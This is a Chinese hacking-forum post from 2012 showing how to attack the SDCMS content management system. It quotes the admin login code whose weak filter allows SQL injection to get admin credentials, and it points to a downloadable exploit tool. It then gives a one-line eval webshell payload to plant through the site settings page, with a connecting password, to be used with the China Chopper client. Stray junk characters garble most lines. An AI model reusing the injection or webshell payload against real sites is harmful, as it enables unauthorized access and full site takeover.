找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3347|回复: 0
打印 上一主题 下一主题

SDCMS通杀漏洞利用工具及提权拿SHELL

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 20:57:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
作者:T00LS 鬼哥
3 U4 w- ?' U( j- h: ]  e; n漏洞文件:后台目录/index.asp& _6 w$ l- @* j

8 \3 u3 c( G; N9 CSub Check
0 ?6 N( D2 n2 r) {4 N0 e    Dim username,password,code,getcode,Rs
. D: N1 W' g; @3 u6 e3 G/ q$ _    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
. i( R3 K7 R& T    username=FilterText(Trim(Request.Form("username")),1)
3 k/ r- e) W3 Y6 s: O    password=FilterText(Trim(Request.Form("password")),1)
/ |% Z+ D/ h- Z1 M" u; @: X; r    code=Trim(Request.Form("yzm"))# w! ?8 G6 m0 @  J& e* Y! K/ [
    getcode=Session("SDCMSCode")3 h. e  N, j/ b  l
    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
6 G& a/ `6 e" W1 V2 r) D5 ]    IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)"ied% ], G; w  v; o+ X( z6 M6 [9 n
    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)"ied  Q. }9 L5 q0 U8 }) d4 W
    IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)"ied
. A3 H$ |6 G; a/ L; y0 x$ }    IF username="" or password="" Then+ ]5 |. Q# h, s
        Echo "用户名或密码不能为空"ied
2 j; J; g& P9 J" d8 }    Else
6 a9 l  \0 m/ Z6 ^1 v- I7 M        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
: A! L3 s. ?9 H        IF Rs.Eof Then2 l0 x7 d1 r$ u" N
            AddLog username,GetIp,"登录失败",1& c- g( K0 ?' c- R
            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"6 X* i+ r9 C' a) \, ]
        Else( O5 Y' f$ U! T/ s( B) ?8 n# P3 X
            Add_Cookies "sdcms_id",Rs(0); j+ ]' w3 O9 }( o
            Add_Cookies "sdcms_name",username7 G$ O# x4 R, P/ p( v+ a+ V; Q  J
            Add_Cookies "sdcms_pwd",Rs(2)
+ U2 A% u6 p# D+ M2 j* j            Add_Cookies "sdcms_admin",Rs(3)
" k% L. T6 S! F/ I' v' _            Add_Cookies "sdcms_alllever",Rs(4)
* G$ d3 U' N; |            Add_Cookies "sdcms_infolever",Rs(5)
8 e: G; T$ Q0 a, S% o; G9 v5 b            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
* f4 w9 ~$ s9 }/ u# L            AddLog username,GetIp,"登录成功",1
* l9 C  j1 V0 ^' C* Y' ]; x            '自动删除30天前的Log记录
$ {' C; y( J: J9 E- D0 V            IF Sdcms_DataType Then
% P7 K1 a( h+ ]                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
8 U% l; T4 i1 U& A8 f            Else; S$ m' G9 b! W& X6 Y7 j
                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")9 q8 A  y& [3 `& I( D
            End IF, ]' l+ Q6 n' i9 I! E3 P/ _
            Go("sdcms_index.asp")$ {% d, p/ u; U2 m
        End IF- ^) {3 U/ E( m" j3 N* s' R9 y: G
        Rs.Close/ ^, a5 S0 e* K( j( o2 j. b* C
        Set Rs=Nothing
; y$ K! j5 }1 Z, r/ m    End IF
- r( y6 n" v% f7 i, WEnd Sub+ O; P0 o0 m( ^% {( u: [0 k

. P8 k4 p* p, \# p5 ?  a’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码9 M( W1 {% `) W- i9 w

1 O+ B$ P8 {4 lFunction FilterText(ByVal t0,ByVal t1)
; u8 \" C! o& C0 c0 ?/ u* p, y) P  |    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
+ q. v5 E  V. F    t0=Trim(t0)
* t( M* b; [' w# H    Select Case t1
& B$ a3 b; O0 S' v6 I        Case "1"' b7 U9 M6 _) X' k
            t0=Replace(t0,Chr(32),"")
# z  a7 F+ Y0 O! y5 W, H            t0=Replace(t0,Chr(13),"")
+ P0 j% F6 k4 o            t0=Replace(t0,Chr(10)&Chr(10),"")! K# w+ B" G$ J
            t0=Replace(t0,Chr(10),""); d- X! r: J6 V. X0 a3 h9 L+ d2 @
        Case "2"& z. F- M1 j6 D7 `2 l6 H
            t0=Replace(t0,Chr(8),"")'回格
9 t4 N- S, J/ S            t0=Replace(t0,Chr(9),"")'tab(水平制表符)  H9 X& y! m4 ?% R! @: Q& v' j
            t0=Replace(t0,Chr(10),"")'换行
' {$ q9 v9 Y8 C' {+ U            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
) \! b- l" N# E6 Y            t0=Replace(t0,Chr(12),"")'换页4 Q% W; _5 i  |8 I* O
            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
  M3 D; `# n6 t: q            t0=Replace(t0,Chr(22),""). [! m- w9 X$ h2 L4 h
            t0=Replace(t0,Chr(32),"")'空格 SPACE
  ]* K$ x) y" t- B; g+ K            t0=Replace(t0,Chr(33),"")'!" L4 t" D% U0 Q4 q" P+ h* I  L
            t0=Replace(t0,Chr(34),"")'"0 _3 r7 ^* \) B. K  a5 e, ?3 {
            t0=Replace(t0,Chr(35),"")'#% n4 v# {, k# m' i( [) W( [
            t0=Replace(t0,Chr(36),"")'$) l! S/ v% w3 t
            t0=Replace(t0,Chr(37),"")'%, M) |" {6 x. B+ t& c
            t0=Replace(t0,Chr(38),"")'&
7 D  d4 h, \1 R  c+ u            t0=Replace(t0,Chr(39),"")''
; z/ G5 O% Z0 j: a1 ^; o8 i) ]            t0=Replace(t0,Chr(40),"")'(
5 v0 W0 j9 r6 f. `. ^            t0=Replace(t0,Chr(41),"")')
: J  b  M& V# H8 y& ?            t0=Replace(t0,Chr(42),"")'*1 y3 E% B+ O/ d) V3 y. G3 f7 A4 D
            t0=Replace(t0,Chr(43),"")'+
% V8 G8 b7 u& \' n            t0=Replace(t0,Chr(44),"")',- k5 B, X. `2 X, p
            t0=Replace(t0,Chr(45),"")'-
8 z6 \8 f' e9 R2 [            t0=Replace(t0,Chr(46),"")'.
1 F$ |$ P' A" |: i            t0=Replace(t0,Chr(47),"")'/
  z9 y! [7 }8 p            t0=Replace(t0,Chr(58),"")':
# O! b+ ^" H. T            t0=Replace(t0,Chr(59),"")';
2 t$ ]  O" ?8 y: w8 T# v            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>: C6 O$ O$ ^- H, g% u! V! Z
            t0=Replace(t0,Chr(63),"")'?
5 g; Y1 N5 |6 J% a5 D) z            t0=Replace(t0,Chr(64),"")'@
# m* U* v! n& v: o) r            t0=Replace(t0,Chr(91),"")'\
% k9 f! |( q' a4 _/ V3 _            t0=Replace(t0,Chr(92),"")'\5 F$ B, ^5 Q. t+ v" _+ m
            t0=Replace(t0,Chr(93),"")']- Z0 _6 |& p$ B) ?9 y. u: O$ p
            t0=Replace(t0,Chr(94),"")'^
  t* {7 M, |- d( z& }! U- O  t            t0=Replace(t0,Chr(95),"")'_
' [2 ]( t6 l; v6 e            t0=Replace(t0,Chr(96),"")'`
! g8 @' N/ i4 R2 u1 h/ _3 F$ ?            t0=Replace(t0,Chr(123),"")'{& m* r4 X% j" B% s( [+ I
            t0=Replace(t0,Chr(124),"")'|& R" w3 I( t& v8 O' L
            t0=Replace(t0,Chr(125),"")'}
- b/ v: H' }. z+ l9 f2 l4 @: T; B# ?( t            t0=Replace(t0,Chr(126),"")'~
" {7 k- K) c2 c3 ^# ^# b    Case Else3 ]& ^9 G& s/ K5 a- ~
        t0=Replace(t0, "&", "&")
( k' d4 K# R4 r9 p' B        t0=Replace(t0, "'", "'")0 X$ h2 z) {) q
        t0=Replace(t0, """", """)0 Q  N, }$ l) W: f
        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
; b+ t3 A3 ], i8 F    End Select2 ?% ]( K1 B* ]# r  _- I
    IF Instr(Lcase(t0),"expression")>0 Then
9 X- Q- D$ K9 f0 j2 |) {        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0): Z8 }- U/ h3 ]. [2 a
    End If5 Q8 y9 Q( t+ w8 ^5 y- T
    FilterText=t0
7 L/ O, y2 g. N2 k0 @% dEnd Function/ X' ^$ {  K$ `) ~$ x

0 p) s, y5 g  I7 o5 i看到没。直接参数是1 只过滤
% _/ \  ]9 ?2 ~, f8 F& u. [, b                        t0=Replace(t0,Chr(32)," ")
  E7 }2 k8 D* ~                        t0=Replace(t0,Chr(13),"")6 C0 ]& G3 Z$ h5 j2 Q2 ~4 P+ v) @
                        t0=Replace(t0,Chr(10)&Chr(10),". |( d0 D  ]3 L, V+ I. d" D
")
, e, H& [) {: q  `' h                        t0=Replace(t0,Chr(10),". Z% Q( ]2 {# p8 V
")3 j9 F) A" _' E9 V
漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!* a: Z; C, y1 |/ P: ~8 Z) B
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP/ d; G! x9 A4 s8 `5 ]. v+ h
+ h# O/ z) F; G
测试:- O' s3 I9 D2 @0 n: i  C
/ U# L7 R, I4 e8 {. q# E9 n! t
% g) ]. A0 L( M; E
现在输入工具上验证码,然后点OK! f$ e. n% v! @' D3 s

+ i9 E- A( [5 ^7 ^5 y7 P) [0 q9 ^; Y& {
看到我们直接进入后台管理界面了,呵呵!
) p+ u% u8 [! V( ], E2 O) l" J/ k, B. e: @( z9 K

: \2 y2 }/ A0 K) w$ N9 g
* g: {  P5 @% P  y5 d这样直接进入后台了。。。。; O: i9 Q5 R! Q+ Q

# O2 D9 _# @: j$ x: {% I( |
8 I2 E( \. l" Q0 S
: @! p  m7 d6 {  oSDCMS提权:. q4 M$ P( D! P, t3 y4 K3 e

% m7 U9 f$ M: ?2 u! b( z2 l方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’  即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
9 N5 F5 b. R$ g7 D
" I# A! F+ `4 A: |: L& V# B. B, F2 [% U: T
! q( R4 C8 c+ h5 Y0 y- E& h2 Q" r
OK,现在用菜刀连接下!
3 ^$ ]5 I0 t2 K8 ^$ m7 c9 y* q0 x* b) F1 j2 |: h* E  D4 ]/ a
3 C# ~* ]6 W* v+ K7 W7 z
4 c7 l& u0 Q' T
( t7 ?7 H7 R3 m3 Z
- K2 L! f/ r7 c% }4 B7 ^0 k
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表